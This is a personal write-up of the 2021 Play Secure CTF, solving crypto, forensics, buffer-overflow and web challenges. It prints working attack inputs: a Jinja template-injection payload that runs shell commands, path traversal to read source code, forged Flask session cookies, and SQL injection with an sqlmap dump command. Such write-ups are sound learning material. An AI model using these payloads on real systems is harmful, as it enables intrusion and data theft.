PlaySecure CTF Write Up
Intro
Play Secure Conference was an online event held from 25th to 28th March 2021. The event focused on gamification to learn things and had many great speakers on this topic. I had a good time attending some of the talks on their virtual conference platform Gather, which was a nice bit of a change from other virtual events. Next to a great conference with interesting content there was also a CTF, which this write up is about.
I managed to get a few solves, as you can see in the screenshot below mostly in categories I'm the most comfortable with, DFIR and Web challenges, but also took baby steps outside of my comfort zone and took on Crypto and an Exploitation (or pwn as they are also called) challenges.
With eight challenges solved I secured myself a spot just inside the top ten, a result that I can be happy with.
Crypto
Crypto 0x01
The challenge gives a hashes.txt file, containing an array of hashes. The first step I tried was throwing these in to CrackStation:
While it didn't crack many of the hashes, it did point me in the right direction to solve this puzzle. There is progression of one letter added for each next hash, indicating that a hash is:
plaintext of previous hash + one character
This makes cracking them rather trivial by writing a script to add one letter every time and check if it matches the hash in the array of hashes:
import hashlib
import string
hashes = ['32096c2e0eff33d844ee6d675407ace18289357d', 'adca1294358f0b5c66365bb19a06486a0ad3f0a5', '281310883bf7a5c9de7d31b7881e291213613491', '2706f11064c008dd6e6721bb2cceedf01329b960', 'cb2af52a3d324fe0e7402ee843e0ab6b1fb4d32e', 'c2d5577179610a3e272ac59e03e0c745edf0dba5', '5afce0dafe8a0a25aebf819f46ee7673886732e4', '7daeb2400f309b0f5d735238eec30961807125fc', '9de3ea131b4a841e9647b0b1296c011733f63ebc', '202608ac71a16c9b83c72a3f7e680973d9b69fa5', 'd77605bd9ae05b0a977fca19fe1de8ac8fc87c4b', 'a0cf411c45d73e44cc0f26b6bb2bd76bf0a6b95b', 'a2913cb30c4e94af02be621951f34d6fc28e1042', 'c156632c6f1e2db4709c15f34cb37605cb2c442d', 'e850277d7ec0eca297def6ae8e17108632fcd90f', '95a2b1aefd6fc349f0fda31f07c6d23cb8c4959b', '7bf26f48605a1f73d3a2aa7e06b39bbf05a54e8d', 'be022e6d43475909f3d3187921b9a3e54f1b20b5', '6652defa2f95eaece27fb40ee64b7dfafac83c86', '46616b3677a1ffe495696c376a4f91b8337c3375', 'd7e6243d698b9272ad64309a9eee5428b9bd324a', 'a1e1d343911a9953a22a89703e412877a66ab1ee', 'ad17de1128468188fbc7d583f72cc4b32245b041', 'a582ed5dae10004ba66364846cef6cc415e555d3', 'debba38167bbce4146d0082f45c79f3c1efa924b', 'f1d0bbf5e045c45869aaef111d5c55afe1e5d799', '8c74f5c86d527b2403c76f2d635ad649f4517a5e', 'd0ca474f225c2425100b259e39e2e065fa308ec8']
key = ''
for hash in hashes:
for letter in (string.printable):
sha1sum = hashlib.sha1(key.encode('utf-8') + letter.encode('utf-8'))
if sha1sum.hexdigest() == hash:
key = key + letter
print('updated key: '+key)
continue
The script has two loops, the outer looping over the hashes in the array, the inner looping over every printable ascii character. Adding the character to the so far known key, hashing the result as sha1 and comparing it to the next hash in the array, moving on and updating the key once it finds a match. Running this script gives us:
And the last hash cracked is the solution to this challenge.
DFIR
Backspace
As you can see the challenge gives us a AD1 file, the AD1 file type is primarily associated with Forensic Toolkit by Access Data. So lets open it up in FTK imager and inspect it:
We see a flag.txt and FileSlack, the Flag.txt contains:
hello i will tell you something , im in love with memory forensics but also filesystem is great , so here is you flag in AES CBC mode : 052eeee19e6fc1043260d0e978b7ad0410154b9cb4e4f64bb3f171e3cba8cc38e4c86c86c8af7bc61e8526cad894d69f with iv : 001122355D223344D66FF87a51d20d1 and the key !! ops i think i removed it from the file , any way you can find it i thing it was the last words of this file aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
And inside the file slack we find:
dGhlIGtleSBpcyA6IDAwMTEyMjMzNDRBQTU1REQ2NkZGOEI3YTUxZDIwZDE=
The = at the end hints at Base64 encoding, so lets decode that with CyberChef:
Giving us the message:
the key is : 0011223344AA55DD66FF8B7a51d20d1
So know we know the flag is AES CBC mode encrypted, and we have the key and the IV needed to decrypt it, which we can again do using CyberChef:
And there we see the flag, bringing this challenge to an end.
Registry
The file contains a chall.vmem:
Running strings against things like this is always a good first attempt:
strings chall.vmem | grep CTF
And as you can see that got us an answer quite fast.
Stream
So we get a pdf file with the flag hidden somewhere inside it.
To analyze a PDF like this, I looked at the following blogpost by Didier Stevens:
https://blog.didierstevens.com/2019/03/07/analyzing-a-phishing-pdf-with-objstm/
Using his pdf-parser python tool, I used the following command to extract from the PDF, decode the extracted content, and piping the output to grep and searching for the 'CTF' keyword a flag begins with.
python3 pdf-parser.py -c -O -f challenge.pdf | grep CTF
b'CTFAE{Nice_yoU_kNow_h0w_to_an4ly5333_A_PDF}'
As you can see, the command neatly outputted the flag.
Exploitation
Point To The Stars
First step is to connect to the challenge using netcat:
nc exploitation.ps.ctf.ae 5454
Lets see what we get:
Alright, we input 'test' at the 'Enter your wish:' prompt, and not much seems to have changed. The application also tells us where the flag is stored, and where the pointer is currently pointing at. Lets see if we give it some awkward input, like 'a'*100:
As we can see we overwrote the pointer with 0x61, which is 'a'. Lets see where we stop overwriting the pointer, working back 10 'a's at a time (so sending 90 next).
At 70*'a' we see we no longer overwrote the pointer. Also noticing that the hex difference between the star pointer and the flag storage is \x50 every time, so lets see if we can modify the pointer by 50, by sending 70*'a'50:
And indeed, that modifies the pointer correctly and makes the application out its flag.
Web
Public Secrets
The obvious first step is going to visit the site:
We need to access the admin panel according to the challenge text, so lets browse to /admin:
Okay, so we're not admin. Taking the hint from the challenge text we'll need to modify our cookie and we'll be granted access to this admin directory. Our cookie looks like this:
Not something easily modified to just say admin=true or something like that.
Lets look a little bit further at the website, and see what we can learn. The source code of the index page has an interesting script:
<script>
$('.nav-link').click(e => {
$('.active').removeClass('active');
$(e.currentTarget).addClass('active');
fetch('/api/getResource?resource=' + $(e.currentTarget).attr('file'))
.then(res => {
return res.json();
}).then(jsonRes => {
if (jsonRes.content) {
$('#content').empty();
$('#content').append(jsonRes.content);
} else {
alert('An error has occurred.');
}
})
});
</script>
Using that API end point lets us grab the code of the app, so lets see whats going on under the hood by browsing to:
http://web.ps.ctf.ae:8881/api/getResource?resource=../main.py
And we see:
{"content":"import os\nfrom flask import Flask, render_template, jsonify, request, session\n\napp = Flask(__name__, template_folder='templates')\napp.secret_key = b'SuperSecretKey' # Probably should change this...\n\n@app.route('/', methods=['GET'])\ndef main():\n\tif 'type' not in session:\n\t\tsession['type'] = 'user'\n\treturn render_template('index.html')\n\n@app.route('/admin', methods=['GET'])\ndef admin():\n\tif 'type' not in session:\n\t\treturn 'Invalid session!'\n\telse:\n\t\tif session['type'] == 'admin':\n\t\t\treturn render_template('admin.html', initf=os.getenv('INITF'))\n\t\telse:\n\t\t\treturn 'You are not admin!'\n\n@app.route('/api/getResource', methods=['GET'])\ndef getResource():\n\tif request.args.get('resource'):\n\t\ttry:\n\t\t\tresource = request.args.get('resource')\n\t\t\tf = open(f'{os.getcwd()}/resources/{resource}', 'r')\n\t\t\tcontent = f.read()\n\t\t\tf.close()\n\t\t\treturn jsonify({\n\t\t\t\t'content': content\n\t\t\t})\n\t\texcept Exception as e:\n\t\t\tprint(str(e))\n\t\t\treturn jsonify({\n\t\t\t\t'error': str(e),\n\t\t\t\t'message': 'Error in main.py!'\n\t\t\t})\n\telse:\n\t\treturn jsonify({\n\t\t\t'error': 'Missing argument.'\n\t\t})"}
Standing out:
app.secret_key = b'SuperSecretKey' # Probably should change this
And the check for admin:
if session['type'] == 'admin'
So we now know the app's secret key, which is probably used to sign our cookie with. Doing a little more research finds the following blogpost.
https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce
Reading Luke (who is awesome btw) his blog post we find we can decode our existing cookie, and even create our own cookies using his script.
Decoding the cookie shows that the cookie contains 'type' : 'user'. Using the flask-unsign tool with the secret_key that was found, its possible to create a cookie for ourselves with 'type': 'admin':
Changing our cookie in the browser and visiting the /admin page again gets us:
Welcome Card
Visiting the website we see:
After trying different types of input it turns out to be valuable to template injection, entering {{7*7}} gives:
So we see the expression got evaluated, some google as to how to abuse jinja template injection lands us at:
With the filter bypass payload:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Entering this in to the website:
We see the 'id' command got executed. Now replacing the 'id' command for: find / -name flag.txt shows us the flag is in opt:
And changing the command again to "cat /opt/flag.txt" gets us a nice welcome card containing the flag:
Leaked Hosts
The site shows us:
Searching for a test user:
Alright, lets see if we can search for all users:
Gives us an sql error:
As we see the spaces got stripped, causing the error. But we can replace them for comments /**/:
And this gets us ALL the users:
Lets use SQL map to get the entire database:
sqlmap -u 'http://web.ps.ctf.ae:8883/getUsers?username=test' --tamper=space2comment --dump
And we find a very complex password:
Using these credentials we can use the file inclusion, we know we need to find a server only reachable from this one, so lets look at the hosts file:
The 172.22.0.2 looks interesting, lets use the URL fetching utility to look at that:
So lets grab that flag:
And success:
Closing
That concludes the write up for the few challenges I managed to solve. Had a lot of fun playing this CTF and picked up a few new tricks as well as dabbling in to Crypto and Exploitation challenges for the first time.
I want to thank everyone that made this possible, the teams behind CTF.AE, the Play Secure conference and all the volunteers and sponsors involved.